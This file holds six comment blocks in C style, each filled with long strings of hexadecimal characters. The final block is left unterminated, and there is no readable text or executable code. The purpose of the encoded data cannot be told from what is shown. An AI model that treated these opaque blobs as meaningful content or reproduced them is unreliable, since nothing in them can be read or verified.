/*e56b4ce9b6aa2cc39764ea70524691366b2165a55e8ecad6a24595c0f6ea9d198191be48864ed80cb7737aa5053ebaf27432a61a3b677fbb7578ed0126671e9ca242124f10ad177c016eecb43d80b377c626fe2e3eb0cd14ebcd543ade71acc7d121a4bd190d786fe8f72cf1ab1d6c90b0b3a2a11bac052afba5200f1f99e3ff61e7f1f0d8b037d433ed2ab2bf86bb3d4460820ddf9b81557235ff899e139d9b7361009f959ee1f350cc4efbd874beb1ce6abd723906d54996103eba87989a6d8c05e2074984630b5567dc7c91c212524fc87245d31d6701ec240d2d167cbd62b06c8da9515117cf03afd18608deb10cad25b0037b75e8f9209bf09899fa0708bde24655ebfd54d878aa3af183e2ff3cf5e1c3ecb2970995f2e03cc6ab794365692ba4055bf3c3eef603c95704399292fa0242cd9911de69c5934f31e151ea09b3da79352a4d491314964c33ed8c94ad916363515a22a61f7f4130b995a52489080ee5b04d12b652b63f6c61e8a233ce2acd0b0409d43959599e8badad68ed3ce77a009de3a9b7758195fcd359218de01532692d85b342cf78c5d753cb5d03208908bc8174d5f1c05c05d63732ee43d8f654c7b8115a3d0350b28deb17b446a46e3542d5c9caa2ab5c0af74221264f723b62e7be6a036ad0acb7aeb58e9df3d43d2195be789cbeae77d3691260387ba142554e05e158aec5e70ecf59a218653305078adb47b6de961fc893f1f01c3a69d4a5ee3529ac8ba8095ba42302e45d06c4cbe0787ce22b1d5dcf0b79511b5c188466ab8ffcccd938969ed2e458d68eece12f2621dbec3800b54b507e9656764a356ca3181b1541f7faf3c384d62cb71f381ec6285ee4ca5a5e64e66fd19d59bf54bfd89d76db21ed387c656305acac6c52eb13b653ae4f40c5ff6cffb8b1ed67382bd7c88bc8d5a8eaa11b6432505b11c13e7a06b20acb0e9d3f238d71996ba3585b2a015e1fcdff17935015da74ff91b5003df3d816647989fa0b7dbd435d9ba3dc119714e8bbb8b1272dadc189b57c015f0c75c31af029f8ccd833c43e47c0db292b90723f85df2b82dffdf4b5c879f03e760b5ed7ae6553678626c555f98cae20bf1d66c86089080d4c2388cd1b6c7e4b9c7b9a601798dff5cb5a9b3dddefb5ab0de5aaf911258e47cc207fa1da4efff15af523c2f43c4b43e12b093ee365df9a4776d6afb76dc961830779abb390e391d2b5804240017c16827fe2b2872b11fbd694bbc2878e1659ec9f54c183388dbe2e3f4bb1409e26f37f0d4f62291e4543017340886c29b6b4b6ee752a4c55519efb4fff5aaea0456c1c7509964c0e234b8d9f8a4e389a8262fbd7f2cc30a7df5079ba4feb5516b2466dbfa1c8c6e7cd5df39a8ced9fe0a9923876c30dd888577a6abd0393238d658aa071de2fa646fdc968b0b28d1976845ea61b48120b52c83896a19c8c9f6f2e0ad91603db32e729a88bf215577808efa27e4c09020b22e7be1fee18efd7c4df275f9360e99afb32c94a0b5e8b4b0ab6275531543b0d5b8c904b85e407398ead1cadc29efaae216ecf03628884f7c2bdd402f65ef3c88e9e79f10a86adcef6f8369783e35982862d2600563d9c65aee0579c7395c4b325dc1e41a64ce6fdd7490ba6799bfd081eb2cf2a8e13bdb4dec6710757109cc5800841b95b48e4f3196d90792d0554db5d95274c28d441214ef9dffca38b887620988e85d3a5b012b7ebd4f6b249540ce3ce8bf7c7f9505b4fb2594db5ca2776bf6cbd65c9f6f92053d6ab22426e1fee71d96f39f7637f9dddbadf6a7674ebb0e31e7f19a55da8c4a826439c617ea760074277391a2fba4c52d2071306e9635e8a0e9db32297fa9e906896749aea36111ccf04cb3b195f91c968559dd30f47f6baae0eff6d44f48712fde35df3824dba7a353aa7449a29613e6b0c0eed326293ddeb86679543331bc97ef1672358090a14c233fe248f3327953564983da64c5e6df5440186337adb376d345b0ffeb4a290928510c6fb113cdd4b629801699c5e9bcbc3f5fef63d33c636e075b7c47bab4c0dc4b2e2fd3938977061490a053f6363b21c10eca5ffda231aaf3db4ba705b1325848677c5387769513a54ac82f90a86dc5b5e540539a543cca5df3802049bf34f5c1161f55f1ab14040447ef2f1e5a683fdf4977fb06a90cf5f8bc5c4a5f05b4a5c0aecd2a0638dce63df716b2d1dc6160037ad9f04296b63ccda46cb8ae73030aff203560415b955db2dba8ab6e4d134c2b2b0c96aa18e38f9a63d160a185c164f7ac724708ddd9907be9442bda0c84550781e22d092e304634bd621ba7887078a3410d194f3d7852abdbcd5b34e631721404ea0dc323fa718c550c4ab53518f0867c43868dbc78d5d901c9d00802c9f5f6221442eef4649226731f441b8c2c1af8775096c964be50cafd10159c5fc228b685f8ba3c17104535e8225228785e8caf0038216f7a333a4a3163ea9c306f502862cf4408db28f3ec7fdf20d07f32e7b11cb3fa6f496a4fbed17312ac63170586312f76613a2f20f34abd8f8122d795cee076ebb91008149dcb04a182474856391cf1582bb2efb9c4ee31a3ddb3621f9f1e2bf657e1d47bbd321bc2a48c744e69806eba4dda1b39ffe5d139214509ff7e36b8fabec38f51b8669a6542b2a7e7a7a776d8b2bcbd657af39a844f636adc506bb53ec911c93e8c4bfd28bb82d5a0de3da36484cb7532a424ab942b01a2e9ee2a4e49a3358fd486e25727324545c8a0cf8496fb5c444bec8953e67969831719c30fc1a7e586d091265ecc584207be114a87ab31d27c8791f30d02650d0*/
/*ac1c3a1f75343fe7f385782060ceee2da81e7a508ac977aca9686eb900bf8501ae18fcce316e8cfc2fe9ce0fa87467b960d3839d27e7373d4881e88abcf84a405acad520d2db007977a1162908065be1e22d129bea998fa6b1297a38fef89943c288b8d9a2d9364a5e4afa1cc9b9a5e3e1b4721d6191ef1a226357947eb01aaa93bef91935b93bd1e2257468101d967aaafe84c1294c37c65ec1266ecb540e1ea98a5687913c0cc54da636d9c270f6e4a77506caeda73f45035ce14ac82d71a15e09077fc33ff6f4ae611bc140a08ebd296b9b7526dec227737313298ceb2fc4a7bee54e001c0e91e88f0e9c42f5ca8e773751be0f06204f31e824a07c0419da06e8fa8f84fc343972df8c853b2896c6f6ed6b7cd000cebfd1b96833146ab3154faa29d5022889564f879f5b178906b69ea0fac2c18a39b3acc6bdb0f42a89aec4653ae913c8e9db15bf17fa64d06a728fee344dea32316e17e2c67a29094c0c3e488f743f68e33dabfbe76f97283c7c3d3af8e360ff636543489f48c19c4540120e1036cb01167a78cafe92aa8cc753d71b7f83aa6234b91e37a9b054997c77332e68ba14adec38c390585c639c2f99ad29ce3bb52faee9b2f9b0e3b8ca7e17dc6c52700eb35b0943aadeeab5a78f2343edf5ee221ab57b3322aa2553f2070ca4917e35cf9006f58ef8cb88785125aab64fde3713cb9fc6c08a757cbc21696e3257ad69038cd417d91667325c1c1da1578d49175d106a51e8246c32fa75f74a03b0f2514d9f7204fcc6c0f0fcfb3c8cf22b9d4fb08141bfe3859b9a0a34c64d782f0460d7d76b611cf42f5f64efc026f1eb45cec482e211d80a1292dff63840f4aaf1e7a0c0a76d7fba0db5b79038e60c21487b846c361f4a0c50b10a0b07b7aa9e8a0333cc4139e4b36299a4f5063a7b0fa36244cfffa39acd3482be3eac0b591e9c5f8a67fee3a91ca9c1fa927b5c4685c7bc38a0b624faa6e35c0fa69b451a44acb2293ee30d6f56c0bce3269a34d7e83a9450cef2d099aaa0da514ecedb64b87a8d108dde52c6d959e5b47bd44c3d999ae1f2bfc068aee54e423a7da89fa3b98de191f2956abf0877f5f705a1505a7c899c68996084cf2c6a9720e4f0ba9dbf7d3054f6d0d291081f89304e225a3fa7e4af4c52c5a367bf6e4c88f7faa773fae47ce8ad0f5e330129a68b9497fbf2c250059d4efce24aead2ec8b433742aead6b33c8abfd93af70082c85cb90ba74785ce0c513768128afb80debf68feadbbcbb065485f660058aa471b953fc6cd6f12e65e649633fa406da3d4328f68d2b6258b7609e00f41648d844b6196d14d176b4b4a1052c5e19ca8aef2eff1e7e735e3c1b55aeec04389f5a97ae527409a7b37dc8df81ea5a9c63c025800fe2b7ad41ee4d6122309b66d167de2010a353c31a644d676a381de3270b724fc379dd91d379f6e812d3d1537a5175224bed363097b8a8b3874e23abf7f96c44d472658c6f5b8157355e7c0a3857cafb9c114ab7840685961e2fe894d49f6dd9e578c08c728b2935ec09e98973ad2471b3f5294ed68d81a5c68b209b666e0941272ed1a02b32f1e5ff66e07b2082174744017dd5135e25f2c0496ce4126ea1ac43300fd4a6d1a9342082c923e60f0d21e96a7bff2dd4db9bf6855040b798b5fd74961afcfa33082f9487ba3f673bb05d937ad0268b65d0fb9b3f80e5c9bb56a9d724d182a16440528835f404c0711b64c8643aa6e58e22afeb1ee9dfcc5cc596796ce689d17cac690037ddd85b8d51e9c00d1edd2540e01f7bd89606df7851843f06e0c6320f6817c05b05f5b6069617349b3cf854b4586b022903d474a766fb3376e7cc3184b99258ea7d140535f222584f00ecd57828e09c1b597f77e42b7747672556703f306df8baf21dc11ecf9fa1a433ea57d5595a524e9ad82206d9d9fc3275b515c44c767a554218b5b62ec4357ab74f696120878015019ba394f56f1b134e54ad8a0592a5739f5d2a4e91dc631fa302f3a9ed0cd7a78ad6617abf40e4ae502c3b031060f407115eb85a0ec856f5f22f7785f01278612f7b9117b2d951e542b3d3e2ef4412538d22939808d4d7f0fc8c2044f5de688e948f28f3b65ad222a739bce414dd89504bfb0358e74b03532172cbd3cab526508c2712cdf89c646b5304bf18d1c9986d46e0c0b296fe66f7d0c9e683447865201f2ccfae97354b7f6bb7101535338fee2db1bc9d1ad4443ec0c37b657b4e59491f1be98eedaa521c52e55f652fef054497634d038969b358bca7c7563f4195a0b9903f94f3a562fd702ca30e675a549c4c078a0f2d0501a3be2e36ba0dbbf021dc94b9c630dc17730f7705e0e722288a68963dc612c98b2f5806e620e6c032ebbcf53581dcb2d21cc655f4a135dd4bd39f102297c090b3bae6183bc8696bb2b25864eaccb20d539c6c77a85a3616a652990f5762118da1cf960978a51cd329195f5bced0e273a593bc802f148baca097e6d0556e3df690e3ef22c4cafa66913a7d5f2c54c1b4edd4cb7ee579463eb8013338748a0797637477e840e345440b6cdeffb12e106332363b94f3ac9f0330f75c70247c0a4e65ec207b82e7dcb522559bcbfacd263fc4a7c1e52c0ceafdd93c313b3af2433c8cd88fbb921421c028e122931c986563baa5f198aecc68e96f156c4a785f8a62f462b6ec5c1a74bc8c56c0e7be79e5aed4efd4b9a7bcef86610183efd86b82fa973b57e478e23d5c258aa2a6a5a48ae651ebad2dfcd9305fcb602bcf6faf84dc8a5428ae5fc68eac785ac2c376475a06bae94972beae77c2d3ea96d08c412c17588f3e*/
/*842c36a3d0c2fb313a0e56a044feec89163aaa8cbaefbb2f67abff5a35d376ba78b854a1a0cf23863b4992114f646259f76031cc9741bd945ee40927243e15a94a766ee210976ac33fc893c4a2235b41943090200101d1f60bdba232cf5a904e8128215839b4486b06b71ce6b0ffd78665bf968af6012037d864e23a2067f099bcfc1ee11a709d20f1ad396a8d3d5c5efb12c4a2d8d3dcd2eb49f53e8cd2b7e396925229ecb6edf32a647748930207ea75529acd21519c2f70ce65c4eec8337cd8bd186b0267dd3096c4464cc984901c43c82c464186deed016b2ddd09792b60ebab56b5288b53641df67487bda7e02f383adae817bc2bf1f7bed8bf0eefb59b1ae2e34205182f260e33f53011cd4216831b2a197ab1559e6629d164c3f26cd9590425ff151861ebf52b41ed930cc17005b610af13602f22ddc529a08f1c9e51bd5032a5f2f7d6c51c2ff2170e52b7f14662cc0c094a16a0b5cd03439eaeb606181689c7a5917479c2eb2d710f67085d59c6bbc3d504864000e75e5299f3bd8f9875a131f26105905599165581db4b6eda3e17a661674aed95297f1345a4449fa3773a53fb590d7b5f80f8274621457357896f63c7c5d462b481850412d1706149bd3ec5c51edcbf5b389de05177cd5fde8e5e53fb518b0c616fc605256569f98a8a6af4daf80b934b5eca0c401a88d59c54870756c53bdf5fdf3f1daaa7606642320b2198f4e4c7fdb5b768e4f3cbdd0e9d573e36d8d86e424de14861e8e6ae628dd6b5912625017bfc697c81a93dadc914cc718d98204503aaa3b7b3c73e9b862ce2126eb029cd9789507131774215a10712c11498c0e9209a488b16ca57cc842ecff9ca0f82eadf00debabb3ededfc898c734eec53f2bf6ae0996f79b0df3e09aaa2033daa94028e789a0823f737c204feaf14d3a601e6d6d1ab56772e379fe555044e6dbf71b26e7121fb226283a4063c87157cd87745a0d67438136ae812cebd3c58199835c3d6e6dbcc08fe2e75e31bbe4191a6300549ba3e37e38c38916dc7b47516910ab22e9e3b5874e8ad5a23b8c9a92f220c9e5653191a298556dbc6dcc916607ea5ecedea404ea05c53408e7e148b776d1905f7f2bc0afb5c3537ed167b443de781ef5094dac670becb4ea369b6b39cbaf77de421884a6f6a940252f2133d7a3f4642fbbd994e5068a5973de0b220d42322d7b5db0729a2e3996401371b80f628757b8683c35994daa791b7ce32b16b31684265c72c0322fca7cc47b538e423c0c71cdedfcbd1286fa27dd334bd7f27af70b03e72719501152d7a7ed7d1c921ee3f8dca8e5e79e5397010a04617e8d024c808df31a13a870ac440754a7e230e866349ddeec13873775b1d9f4df4229495d7ca603e326940eed6c2b90421395da82b94b2e1a4c0f83b0495ff34717950bae75dafc0755744db3a179a2d989cb8f9c1eb08e19f1f5bcc1f8aaf5616205e23473f565adf26e01614cfe52847c0aeda9dc1601f5a6c97c2bab756805b0f2c18281803a6f899ef7f53dba470384114c3971d6aad96e8c393fd9843b24ec753db4d52e41f9d0095edd3c5f551b65fc069bf504f3c99083c2a28ae725c07d278b282d18175a09df6938542c3f4e80e4bdda5fb3f261eed320fc842cf9eb043dc9b22faea9748e9aa725e48db8cf4b341994809a2ddde7c7a23d551ce46b70469d7fb6c97f756ba9ad900e672cf29e15084f788a4967c6e2156a3b9da70923005511efc4fb5f07991ca015ff9b9c137e7b46d15317b765f5e881cf240ae796b15f0ac432b600d1eadaded1cc3de8d23e6d236e90ffc382a441f77a676cb5b307100f90c2684b73bc5c635951c1b318c4705d4bfd069f7da8dfda336b8eab81b4568dcd702cfc9f5b4f55abe6068ccfc4807b1882c6b7b833172f81b56343adba1d9783371b61da39e60351ea7703e3dd9563001a3c2a00bb27e1bd2b3f78d4dd2926b0f54ab994119f9f8e5e4cd6be1b1fb2e593510ca7897737a51f9ac4f77e0c06d61e532134dd1727cedbdb692a65581f4b39fa8d20eb0397ef2379aaa097d2dcb04712afbfe16428825acc4f3920e6f6ed76898cf84ffdac9b768fef65836a4ec9a151b547da4bfcc8d747c98269db0aab9ff7aed5c13f4cb9fd39156b56039b7c881394afc68e64579f025c7efa21b313e83a7af4ffb3f14b69a35f31fbb4e29f65d3b63d7a53bbe22185b74a683298a160b98437179147d75e4c5a12d2e638051044aa553cdd0a4dedd49296cd2b02487fd73981935f5e9db38926bca848d8c63037a64c44179c521a8de763a41c83b4e83647c5a63692cb3e5201ec07fc2eb59e45d5dad71f3a097760bca1a42bd15f31825651c4a7051a623bf5994fc76e25891a89814e6a3d02a9328b56a162c675096252b24d4a82563d9d572088d7c15b9957c98b6183e72ee459244aec6db53acf834f90e6a26820ad14864cb74c04f886f7d9920efa17b904c3b5f44a13297397dac4ab4ce361238531cfd9a9e7b8a0c8872e0326729759d816c0ce1a72d93174c28aad3e96d06a129464c4f47089c5ef01f415e9ff027932a4bc04e18020af1d50163111e39ad9985c03eb208d46b2bb017a2c5dc77bd442fd305bd7bc7765ccb51c7555e0c49398bf9f0a4b9f070d47989bf66214b46a7dd73af797b75caad61e4ca53761af743a07ab4816c11be8b6502fe3d0634bdb85c12a709c2bf8328af44a0383973a4106d08ec8bccbd306c4b15d2948615ae7ec818e8000a94a89bc112235252c3ce86da580ebc3b6ff3643837fb115c2464a34927a959c6f811bf517158ecec173ff*/
/*6810c725ffaeff6dc249b21979fc0a62efadfa3e558327ca00e5909e4d09a69c8f98531de87ad64de96e39d351468fcbc90aec9b94cfc3951b7203e90e0ab6f04cde8388321a984e7a5e6db861006c5eb3065694d853bd1549963c3ef0ecadc133890294a124de881d7d24ffcd242cf2b4a45f889dbae966b2289f4bf6a8c47d0d6d4097a9bced714fa917056fbf13f8ce1faa0eb3db7f853cebf3415b93aff38841a7eb7fa34676465a0bc453df0e6abae566a8c772a35071209870ca3d63c0ea48ba3eccb74277b0b5c523688f2fcde9f12cf3b7f82f87f8eb5b71b2f8054920659ac2a43f4f52f5e2153601de86d2c917c3f66d1fab5f5c1380ab8c36ca5f1a7ad5ab7965efe3532472a3addc34f9d882cb9d65e398fe9af1d52e95f936c0680a80cd94b6278bfabe2c84c96c5653c17b6d7e21fa846926e66ebd3c5433ef3cc94b37e89c43ba6ae2e105d8f851cad70cb466355691d459df3b21b11ace9bef1e26fde18fc7c591ddd8a742db51e21af5c5f777993452efb83ad5610e57a31bb78a5c18b636a47d06e9caeed3a0f7d4262febc7d2bd6bbdb4c73065947083add388aa238d534552e7bc17f0fc3bce4ed46bb04983b404fb75f6419cf6dba60bee4efb368ffc3157f065d0a3d7cf976dfde81c02abcd8ba3e82387f572f73b659dc5a997133e34f124cccde66e3dc0df3d9515a8610066c87a7369108da4eba5af518bc91628c1576cd6bb75d758e538327953b37d9580ae9bf1ecfac49d256ae1b6586b21c36b6ea524f5e740927bba89422136d460c7948c384fa7b1701aa13b715e89f0e670e1e1ddd297841cc1052e0d69b0791bc8028a40c732ff07ab1881b623c07d66c1ffcd7757a2788f70eaa7936eae42b31bccecdc4b9c2a8b8070303a818b73badc801c54c24051a9807b2a939b63e9b53a0328415481efe7fb3c59c188dc5efff5f938fe639f229e1e01958589cd98258d8e305346ba0a24ca9174360f604996507a366cd56acf7a032d14348270f765e4e44c6cba974bf1c97864fdc6e536ab4709284b4b71d4b1e1ce799e4ab785e076b6f144fd9f55c4a5eea34a6048fe37fb22a1546bb5340ddfbb0be37ffe1f330bd06402f8c3d0ec48f71af334b4bc2f784ede7e4d552232b06bffd6f1430e7bc3ff19c2db9c06dfcade151ae1387f3e90d3b5f52ed916b035cfa6871790e88e59d1b3972cd64511cf01db3c89cf49c551635d25c9e7dbb22ae9b3a318a8f08f18d27702bff4f897a31456f602cea54e26b70af029b5f6ae1d99bd879330c632c3b52d6122e93feb5db152374d6c0d209053941874c617d2b6779eadac585b0eb6885fa872f6d9e6b07ecc97247257920e5717c8f85d81fecf987d9d2791c666e98af71306859f004fdd6934e9d2005346710eb6281f77faed526f70eb84f85231c55e632b2f308a7efd4cb584b2bb80cc65945f4df103120ec4f1a4edba12f926c617078fb7a0268e867344687704096326e2f192fd31ef83cb7ad0e4dbe161fa9dc2cb52158b3445162701f9216991231406142fda10cb8690a357cf03f56b978974854ea77bee4138c98bd303a1df2777a3d98fd6f2bf7fc56da32ef3d7bc79a65d3e664723357ee29cf80e28319e1bd85437ee760b1611991f0e034560a84434397998b5fec8faac4c6c854957bfdd5cf2315e81b5174ca72d0b5350ef84236a21461c1dfbae484b0a210c264f750ec28f6f8ade75f02281c0004d8cca65f4899515fff50ce3e00922e138abd7829507276e7ae5aaa9c171273d4c39d4cfa4cac073fb4f372940bb2e9b0181c5bb31825d5d5de4d6f61bbcfc854dd591f2aecfa1bf37057d6e2437a42633d7a027ba738dbebce6a2fee09bf410884767aabd38b8d551c5af618aa1df2a4ccb56fc87afc9f3e7da0be79b26a2950206a12f2daa7b2ed77117344cad4cb6040cb3fbc8bd516b1a92b38cb04e3636a54c85bf83f5b1d6bc6d08741e9ec1ae0623fd49529c49b49d1fc7c37acc4dbab71fae2e8162cb644187cbcc11b6a00630829c6a4ddce9b919e3098355d988ec0be0a9348c62d5010374d703ccc37959c0e82df9e7ac7caaf7bce18a1099bc205f254247ebe9704323b5b3e78af8519674d2b688394c877d7acf0a718ba90ade35e6b87a425b80199a86692f8b25f8ee3e4f8cce3e260203c54553e8b4fd4565bf6481ae9593ff73ff23004d928486878f9c8e94d6dacefc65bd675a6b2b42d847ad13522f4530bd3b31c55548c88b6953c307eea66cd2dab4876cc47ecae523c4bb8447921127f81901dd56ee3e5c29e6ac9bf176bf57104ae1da06004cf733acc7a0653a36d4cada5bad6205dd0a4883ba599cc1c16aef984346d00789dd777a8cdea51e0a4422e2a7a5d529e75eec18eab15c1c0ac35dc97810bee0c9df65b3e199ba38ebaa929e0b14a80b1a37608459701c9914ab6b5cad41ff920dd188037b01f36b39e0fb8c9d2e3ee359b3cca32017d8706f3b5b0975cef33e842325727f1ce6c588b03c969080a1d4415b28bb191dfe9a9c722e69ff7871976616941383cc6f5e3a6a57aa10e125ea067380d9eafaaeb7d80658a7ae3400dee4d098b60152bdea2192c12c0ee6c308101a997ec383eeb3f51ce6351596a4a7a3cd904601b8cbbc915700aec221527533d13f86ddbbb4390ea565c281063df9815b0347fdc4ee7258ca8f5a0302a3185c736a032d316c16f8b20e358d97cfd45af8a1aa6a4ae12dffb10961362407d8b4b3262797cebedf66ef768abc9d730289738735591d711a6ca9bb7c10cd196b467360b78bd56ad6d72ca0650a10f406*/
/*615006c55bc419ce18583eecdcca61b5857a1811387fd6cdf65a3d52c8a712245039a09ea4c84f2853c4bbe90a9b737a46a72fbc96c6511b929e1dd7955fdd2246548f5255b8ffe3c77896128848fa587ddf49ebd9050865e76c18af9d58c64ba01d4076b9c08ed0456a287f084756f65c0fe228695770c426dbd8808e00443744b61d43f3a520934518647d74640029c220c878ff7b9ac2a4e393fe23a79d103d58e471e974410331efc7ad60ba6722fabe23a06dc04cee2ddb3182136ec714616baab00721a88c48f6756686c5dfb3e98dba54524be86e5b43da9501f12249c199bc3e94a21a4eb963f00a7a137b481655dcd5dd577ab88ea95ee381655706f3e2ce77f8631c824f9d60fabbb07957231805e5ac01fd9732767c8c99515ae22e2eaa9ca562f0da30cd3636ab75d76ed746372dcc7e07a4feba128220e6d49ae09f069351ea8ffe377394f8612f7c548361f4674972bb1bd34fd6d696b287fc52612189269d5772d2f61d787811e81fb863fd69751f790330713510d63ebc867439b239601db409838ab4011d431c27b0a5d42bbb53facc026672580d9820fae6a4c6760ede9d7466449a47d4e46672e4c96824a638b86d10ae2a28a7f87570c183d48be677a70d36c9f780fac1e856631df17ab070488bcb89a76c38feb42fe118faf0e48d064ce9e41e78da9d263c186a2a3e0763c803c427ee18d03f6f3e9920d81290011f040bcc35e88ae067dda9fdf659657828055f13aac9bb58279782faa7d2b7e1092746dd7c5e7848b941a7d8191f6e6bbf5f50dd650ee244d516d8a4fd9692e37c7d8b2624c7063eebf52976a3119264574722ea256a1afa91bf8ccd55f27efd29d5beb505b9f6cfdd45bef83be4330f593083a405a5e78c060b0aeca6a94d6bd00b9a21c82854ae9eb220d0d4556e2f3a553d106bc2297f33a6968c4ce31f9879659c95705fe36dc35ae529a6d19e2ed8e022b42ef947e6f4589d8261cc905b489bc36bcaae30889806ac6db702ae1f21e3919c7c585c4e90c28f932a3f0cce4bb6af05a45cb17835f0d37391df9af003631fd53651efb3738dc9ead533c31a113a8b429ca03d7451041c50a9e74ecf323d1874fef5d1b46c248c9200be6380d7ab4396f81f72a3479dddb37927d5510b0b8150684966dfce106bae6ae049c5f1d817cc04535a3109b5b0c64beeb9b0859426a8023355bdd675e45cd12102249c7f0956adb6128b4bc9fdfb04cc972bdb700ddba6bfdb6ab95790e4cfc16afd56a36aea964b359c74966989114811079407d0933367859498f04d5238cf00dd7a59b43f5e7c29dc6406fdb185b58915c39de64442f8a79100009d6832578e4668356a20c0e9ea12711285c6a62d6b9af5069f514e24ec68f2a723221bbde415cbeaa6fe662b45adc050f043ec1ee53d03b49a79afb858717c44e01226100014941a519a8d569300e442a0f1fad2245fd42a8406427c073dca16080128b549a5f7e45ee8f2a316b571f4921de4aafebd45512578aeb15ba68858814c3844b12d29e0366e5141a39e06129887cd85c6d9a506bf94dd138351e44f4b21831f25ffeb9b5eb31a15b988dc97664fd0c892f212525904eafc31a8ee7aea6d26410b92ed8d73bf0c652bea9bab5289d5ac568ef8a9153a82bdd84c1f50ffed90331d37694f4fb4a2b482b4c5b60c8907bc0882a57cc358ea15337c2a56fea3b7403f61127104473080eff8f355d99cf3ca50f76edf01f78f7492020eaa5fb189b2608c9f4a518ecf2b7d7bff3a0e93b3a4229ae88f367270e9699d52c3699e9a5d73e2a87cd9513129e4d9fdeaf777ecda5ae50106d5e67dbab699dc463f4eefd74cba63bfb77f98f05ad0c16bb3a574e1556e429a520c7016f46b8757b7d26bc6c13f3a4af9c917316f6a87cb8a93f5c1559dedf83689078082af16a5565b0d658473df8a40574849af8a8a22da348b4e09b1390911bf5e6e0d1b3d4949b3d1a0f66191da4e1ef176ac78e81d7d2d35ac67e5c3939a14254e5e90434637c27e247e0e5aab185de9eadd9bb794e0ab0e5fd725f311e9cdcb735c9ba90a2ed0f0fa186b164316b2a6803236ae3f70e1457b3fbda1800261bc376c6901f911c5a7d1ef0bad290f11ddd05cc1e34a75dcae97ea2ac1b7ec50a97f95c1be2991fe5162e1ba9e7bb93418cf5f8ddab9166b17bec2c23dc92ce80db4426803d268d2dad14c4021221816f563d13acda0489c9a902b6925b8282ee16e0e69988d41e542418621d134dd832e691886c6392c6a6077ccbc7f61df7eee49d2a66f89e9b87a9c5164fdd1b17ccd6e275f821558ea756171edc535d2cc667932621658800219a3b052104f11d6f480be3bd6b2ea904488d172d20c82fd077036329f32e7c9b2d31867b64686085d015ae879789778fd9d63f35e6b845baee6b4d0b75f0fef6f25c85bee8073ffce9c831392e25296221bbfbada042dfeee36488a036341585c5f451142e792a4017b37b2dc763ed33365500c74fdc20d5fc09a031d2afc676c0d23bf68924f8ef818a7560f3c1ddc1670864e10a1b3c206b4e7119c6de67a543b14112704ad070d73a4789b2490fad3e5a5cb9f3ac9195170b98b15450049ff91f2b418c3d5515f9af39e7879fd9f7e178d73633142fc6722bf8dee7ae8c637cf2d712f785f19221bbe0c07c3dcbc6bd9766eb1e1ffac884b35c14008f8a1d34cb5109ea6bbd88a825f90e64b981057341a437a271ac3cc33e6abf17f25feda2f730a6667ee6fc9a2e97556a41032ab3ba9db9bd4b41af013b26d7c4c97e3c9475a42c780f10f5f45d16c0775*/
/*5c8e4e5bb0eab222e2941a10b22d54cc813982811fedbcb81ebb1e9cb403b5a4eca977b2225c9b991ae6cc750a95c71b9d05495b0975afcf9a434f7999e353df6e3c08beb37855eb6606f51cea9cbbf67646fed6c9e38edb1fdf7776f876017485dac22d761b078600e9b95d9a38c9febd0f19e2905077f1d0ea387d4caa14cdcb8ee928476999843b54fafd5501445ad799c3a42974331f11f9e5a9d590b4e3a2a57ebd5af960fc7c4ef7a50b896a2bf1b587c9ef40b998c08c749cb2c75ec23dd13a045902a553c624828d0c94d42b319e672d0b09ec86ce600561363ab89097a9a593b7753dc0178e84517735212697f562c8e944c326941e28390d6844a9f32d9654f45c4475e45e488369e1395c721a5422e76f5f7e74ebff30543ed4d93ad6e9b9cc6c9fde40fa69ffdd960cc543989285ec3fe926c1b5552eb1c1e2c4d1eeccfafaa2c0329ceccaf82ceb22754785cd42722f0cb8a825aa44b665838440caf6cffcaab8eb91963b3e9b83543ff66e58b3adf0f9a321804f3d1b4bf739def2b72209cf1d03786e6ff75cb8029941f61133610267b3d6d572ce60d4e0fd573c882ffe7c8bdc15020ae3049d05e4271996284530f4338b036a0a1ba0969b6b7a33b891dc00ec8e7454300ed74d4da31b9d50c0fa8365a01854561e6ce8a784790cd4cb4724380a4bb6ac4a0237766167bd7e421520dbd6f29a14b2871bc070900486872eb919edd3ac0f3b9ed0e890938fad37eeeb100a3b548bd6a1b34ecb9d21ae96e8831b4531e01782e63f1badd347179768b82fee040ee5b8c02cb07140efb6d1384f286f48c07e67f0967a86f31e9059e05490752c616e8f726abcba458ba9d1bd146ca02a7db37a4e2968d2fdda000a08acbb6733cf24a51503c5981cf705a3d5d31b4a1258adef02357a91bba464d895df2dd2b81492df508d982c0d67bd7a2612fc33e339b71ed5136dbb3a486ec1c79a9d08ffc006db7ec9b7f02ce9863c9a98ffd1839f5fc604ec2e15ee8844ee6c437725f6c9986794ded422e195f43ed8976b30ae21d80c3d51c97b671cf9edf2db8555abaa36656fae4d4764c1af9c2cc4bb23b3b4de554ad9457b794f7e6249c6a39b5c7961fcbc3c00e17966adead99c0f6eaed2ba2e7906640ae1d988769b36b051ca59e8c600da370e499b571da1e073b1c55d8b64da4fb171e3212147440e099a6ba1167b5ae713a6ded1546441ba8b8dfe8c710ada9485f2095e06e6ab0b1b9836439a4c577fea21f3292a200f76daa6bde04c01fab32d58a0bb21916406dd408992a9ba646d966ecf79a545705d713f1f0e85d787ae338f5fb7e67a0c1130bbaf0065efb660ca40dd522d0f065c77bab12c44e76f936d6379055aa51096b54476d1ded22033bea8331b6e5eacf36b1a680400ba2eccca54235868b8fe1d606cb3ba7ca3162dd91b051cfbdfa7998d62cb09bf68128e0b832f49ee9045dff95e2596aa1491a60db31acb3e2dad393e9277f88d8027a7bfcf5355c2af09d5d9001887e7f6592cf12d8e1b79032bda43a09363fe5ca4a3a0c15271c0b0e3f5e2511d15cf457998520c070c874c8e62e0e1c376be3a035ec5a14079ba92b9fc387c128691f6d4480469928c9c3721eac32df86417c934443c23ecf291a56d7cfb99056de9c9f0b72d7763d9cb0dc21999c5db4a4ab376729c6119273e04f579566a6926b0d9f57d3c3e9d5a60733b5695f623d6530244a091b89164dff088e390145a0b43ae70345b1f1664a7dbc4be23692dad91800fcf4d849cee0117c410fc6b0afcb59e2e4f922ce7d7cabc1c78e871fb1eff6680c4bbf8b3f1173f4097535f1b7648a6f119e928944ff1188d0260185620d745a3e2d482523116f90191953262872e5d0e15d8852356a64ba899bf8d64273e74c5af8f348cb493ab00dcfca80ff7050d9b009ef49d368fb41c512aa127cdd4b4e0afac42bd30ac64de91fe5244efa237652bc5710088f79eeb4e9b139f2c3da7a83d43564536ab3fac9828808fdae3977c83fe91ee1f78c1238ff3a76f9fa9c95caefe2ad0d84861b1bdb8f01bc185481c405de266e1cc8c1b7b6cf609d2280fe35b1188ccd65f38dc92fa4a93910483a481eedf228ddbd73241a4070b4867943cdaf4f30725641cf588c7b75248fe5a2edf6735d0d55434ab3998783e8136e8e047deefd